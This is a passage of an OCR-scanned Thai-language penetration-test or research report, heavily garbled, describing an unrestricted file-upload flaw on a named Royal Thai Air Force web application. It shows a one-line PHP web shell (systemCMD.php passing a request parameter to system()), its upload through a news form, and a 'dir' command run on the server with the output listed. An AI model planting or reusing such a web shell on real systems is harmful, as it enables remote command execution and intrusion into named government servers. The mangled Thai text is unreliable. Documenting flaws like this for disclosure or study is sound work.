“l)"t’]\i‘]/l'l\?GlUﬂ?ﬁ%ﬂﬁ@\i@WIﬂﬁﬂqwﬁﬁWQ 9 LGIJ'I"UHQL'JU]‘],CHG] FIHALLDYALTAINTUNINN 3.23

newbroad.php*

<TABLE cellSpacing=0 cellPadding=4 width="100%"
border=0>

<TBODY>

<TR>

<TD class=sottotitolo vAlign=genter noWrap

width="100%">mwAanssu aila.</TD></TR></TBODY></TABLE></TD> </TR>\

<TR> o
<TD width="100%">
<TABLE cellSpacing=1 cellPaddiyg=0 width="100%"
border=0>
<TBODY>
<TR>
<TD class=contents>
<DIV class=taburlo>
<TABLE cellSpacing=0 cellPadding=2 width="100%"
border=0>
<TBODY>
<TR>
<TD class=taburlo vAlign=top>
<TABLE class=tabnews cellSpacing=2 cellPadding=2
width="100%">
<TBODY>
<TR>
<TD class=tdblock aIign:migjdj; width="5%"> <IMG
alt— m@ src="/pix/icon/icon.gif"
border=0> </TD>
<TD class tdblock vAlign=bottom
width="95%"><B>asmwuAanssu ala.fd </B> </TD></TR>
<TR>
<TD colSpan=2><BR>
<DIV>

{ 7
ANA 3.23 51eaziBeadoyanielulWed newbroad.php

~
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Y =2 a s ' < P s A Y = B
ﬂ?ﬂuu‘ﬂ\‘lliﬂﬂul%lﬁ newbroad.php H1ULIVUITNIWLEEDT LINDNATDUNITIVIDIUUUND

X { o 2 J < J 1 1
newbroad.php Fuilunthi ldlumson Tnaadoyavugnininld wunawsoditeres
A v (Y tﬂl

o 9 dy <3 (D]
‘VINﬂﬁ’e‘)WTﬁamagamuuulauul%ﬂﬂmﬂEl"lumumiﬂuﬂumﬂu AUNINN 3.24

— O X

0 naTumuANnTfuEneetna (Directorate of Air Operation Control) - Google Chrome

® www.daoc rtaf. mi.th/webdaoc/activity/newbroad.php? Q,

IJ l ATy Alla, .06

Taidea: * v

UIFENLAW

A% i

uny vl wdanlid | UilddanTldta
Tare
email : |
vz lngir ©

v Y
M 3.24 Foanlumaon Tnaa ldvunindu lad

A ya o 9 X A

g’/ o 4 . I 4 [
vniuiinsai e ia systemeMDphp Failu lddndideairevwie 1oy

o & e PN ] ] ac s '
A Dos 1 Mg lWd (din rdensvaoud 1uszuy (net user) Yu lluwdSwines wumn

(4 Yo & = A
ﬁ’nJ’]ﬁﬂ'ﬂWIﬁaﬂan\Iﬁﬂlﬂﬁuiﬂ TIALLDYANTUNINN 3.25 —3.29

3 ] systemCMD.php - Notepad
U File Edit Format View Help

<? SYSTEM($_REQUEST['emd']); 7

7NN 3.25 Md9n18 U systemCMD.php
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[} asueuRuMagidvwonme (Directorate of Air Operation Control) - Google Chrome  — [l X

® www.daoc.rtaf. mi.th/webdaoc/activity/newbroad.php? Q

AMAINTH AR,

| '7 I - aa
' AIMWAAINTIY Aila. .71

E Taigas |test * iaring
test

USSHIEATW

A% g

w el | \Ranlva |systemCMD.php &
Tarda test

email :
i Tnsdiai - |

' [Submit] [2ananszuy

M 3.26 mionIvaa lnduudsvnes

€  ® daocrtaf.mith/webdaoc/a ctivity/newfirm.php?

Mwnanssu Alla.ugm. o

:
: /s avmwianssu mla.usa.
|
|

! Filename: systemCMD.php
| Size: 31 Bytes
i Type: application/octet-stream

A5 Upload “Ivl& systemCMD.php La5aauusal

Tufindayasuusanuay

Soaldd =
AINNULHDHNTWAINTTH ala.uza.

A o s 3 %
NN 3.27 ﬂﬁ’E]WI‘Haﬂul’V‘lﬁ system.CMD.php Lﬁ‘i‘ﬂﬁlllluiﬂ‘l
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€ ® daoc.rtaf.mi.th/webdaoc/activity/view.php?reoffice= &&name=test&&phone=

MNWAINSsH Alla.uam. i

"’I e ”
WA TaNMWAINSGSY... U

uIvau...mmianssu ala.uaa. (@usu Admin)
uAaM? : 123456789

B §du: 204 (G20 : "test” D —

Tae : test ufa 7/3/2017 18:36:51 say [0] d1u [0] afa

B g 202 Fa0 : "sav aumla.uazan as)adauanumsamlfiidnismbatussuumuquneainAgisis szl bo uruimala”
Tae : w.a.FT0'lun qsAavitend Wla 23/2/2017 10:5:14 eau [8] a1 [73] afa

= o 4 < @
2w 3.28 m3owlvaalla system.CMD.php 39N

T
|} USSENEMNA
|
|

test

i Tew : test doin : TMSAWN
: 1P : 10.226.82.14 - [7/3/2017 18:36:51]

stanm : systemCMD.php

B

A o s 3 %
NINN 3.29 ﬂﬁ’E]WI‘Haﬂul’V‘la system.CMD.php Lﬁ‘ii]ﬁlmuiﬂ‘l

¥ o ¢ g s ¢ A ! do 1A

1niuiFon 19 194 systemCMD.php #1503 tionadouI Ildaina1in

@ g <3 Aad 4 9 Y A [ [ ad = Y A [

onIvanvu lluudu@swnesaunsaldnuldvie lu wuiduginnesinsusudeun
] o & A g 1 4 A v @ 1 a o @ <

Tiewisadszuranamidaniuaiiedd diesnndiseda li'ldanuisidale 9 asluiy

WSVIE0S 319a2108AAITAINIUNING 3.30
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€ @Idaoc.rtaf.mi‘th/‘r.febda0c/adlvity/up\cads/systemCMD.php Ib el ¢ B ¥ A O
Warning: system() [function.system]: Cannot execute a blank command in D:\whosts\daoc.rtaf.mi.th\webdaoc\activity\uploads\sy MD.php on line 1

A ~ v s 1 < s ¢
NINN 3.30 Lﬁflﬂcl"lf\i'luhlwa system.php WNIHLIULU I D T

Y yaw = Yo & a sA ad sY o & . '
MNUURNT EJi]QT]ﬂa@QGl‘lfﬂ'lﬁ\uﬁﬂﬂﬂhlwa‘ﬂflgclu!,clﬁwL')'E]iﬂ'JEJﬂ'IﬁQ “dir” WU
Y H

~ Y A A ad N Y a o A
ﬁ1m1iﬂliﬂﬂ@17‘lﬁﬂﬁﬂhﬂﬂ6gﬂulﬂi@ﬂlcﬁiwnﬂiqﬂ FIHALLDYAAULTAINTUNINN 3.31

€ @Idaor_rtaf.mi.th/webdaoc/actlvi:y/uploads/systemCMD.p*pkmd:dwr Ib el ¢ B ¥ A QO D QO

Volume in drive D is New Volume Volume Serial Number is A023-B86C Directory of D:\whosts\daoc.rtaf.mi.th\webdaoc\activity\uploads 03/07/2017 06:09 PM

. 03/07/2017 06:09 PM

.. 03/04/2013 09:13 PM 83,614 0000.jpg 03/04/2013 09:13 PM 97,711 0001.jpg 03/04/2013 09:13 PM 81,301 0002.jpg 03/04/2013 09:13 PM 58,927 0004.pg 03/04/2013
09:13 PM 85,497 0005.jpg 03/04/2013 09:13 PM 62,016 0006.jpg 03/04/2013 09:13 PM 74,252 0007.jpg 03/04/2013 09:13 PM 27,931 0009.jpg 03/04/2013 09:13 PM 46,538
0011.jpg 03/04/2013 09:13 PM 28,860 0016.jpg 03/04/2013 09:13 PM 22,021 0021.jpg 03/04/2013 09:13 PM 28,879 0022.jpg 03/04/2013 09:13 PM 187,514 01600-01.jpg
02/10/2017 10:53 AM 4,381,404 09_02_60.gif 02/10/2017 11:06 AM 6,579,743 09_2_60.gif 11/25/2016 02:21 PM 6,086,144 1.JPG 11/25/2016 02:21 PM 180,331 10.jpg
11/10/2016 04:26 PM 2,469,064 10w.15.59.gif 03/04/2013 09:13 PM 293,200 11-01-50-00.jpg 03/04/2013 09:13 PM 288,602 11-01-50-01.jpg 03/04/2013 09:13 PM 300,410
11-01-50-02.jpg 03/04/2013 09:13 PM 294,071 11-01-50-03.jpg 03/04/2013 09:13 PM 309,677 11-01-50-04.jpg 03/04/2013 09:13 PM 296,340 11-01-50-05.jpg 03/04/2013
09:13 PM 334,426 11-01-50-06.jpg 03/04/2013 09:13 PM 339,301 11-01-50-07.jpg 11/25/2016 02:21 PM 205,857 11.jpg 03/04/2013 09:13 PM 19,949 12.gif 11/25/2016 02:21
PM 203,197 12.jpg 03/04/2013 09:13 PM 226,187 13-12-49-0.gif 03/04/2013 09:13 PM 158,608 13-12-49-0.JPG 03/04/2013 09:13 PM 125,894 13-12-49-01.jpg 03/04/2013
09:13 PM 131,165 13-12-49-03.JPG 03/04/2013 09:13 PM 135,483 13-12-49-04.JPG 03/04/2013 09:13 PM 132,417 13-12-49-05.JPG 03/04/2013 09:13 PM 131,546
13-12-49-06.0PG 03/04/2013 09:13 PM 129,789 13-12-49-07.JPG 03/04/2013 09:13 PM 132,674 13-12-49-08.JPG 03/04/2013 09:13 PM 129,177 13-12-49-09.1PG 03/04/2013
09:13 PM 131,964 13-12-49-10.JPG 03/04/2013 09:13 PM 128,428 13-12-49-11.JPG 03/04/2013 09:13 PM 131,928 13-12-49-12.JPG 03/04/2013 09:13 PM 121,440
13-12-49-13.jpg 03/04/2013 09:13 PM 125,994 13-12-49-14.1PG 03/04/2013 09:13 PM 125,826 13-12-49-15.JPG 03/04/2013 09:13 PM 125,562 13-12-49-16.PG 03/04/2013
09:13 PM 129,666 13-12-40-17.JPG 03/04/2013 09:13 PM 125,944 13-12-49-18.JPG 12/20/2016 05:42 PM 153,410 13.jpg 12/03/2014 12:54 AM 165,288 1417173126488.jpg
12/03/2014 12:54 AM 232,602 1417173144585.jpg 12/03/2014 12:54 AM 209,277 1417173153221.jpg 12/03/2014 12:54 AM 222,774 1417173156746.jpg 02/09/2015 09:14
PM 140,043 1423027606333.jpg 02/09/2015 09:14 PM 165,223 1423027608714.jpg 02/09/2015 09:14 PM 172,485 1423027612417.jpg 02/09/2015 09:14 PM 205,502
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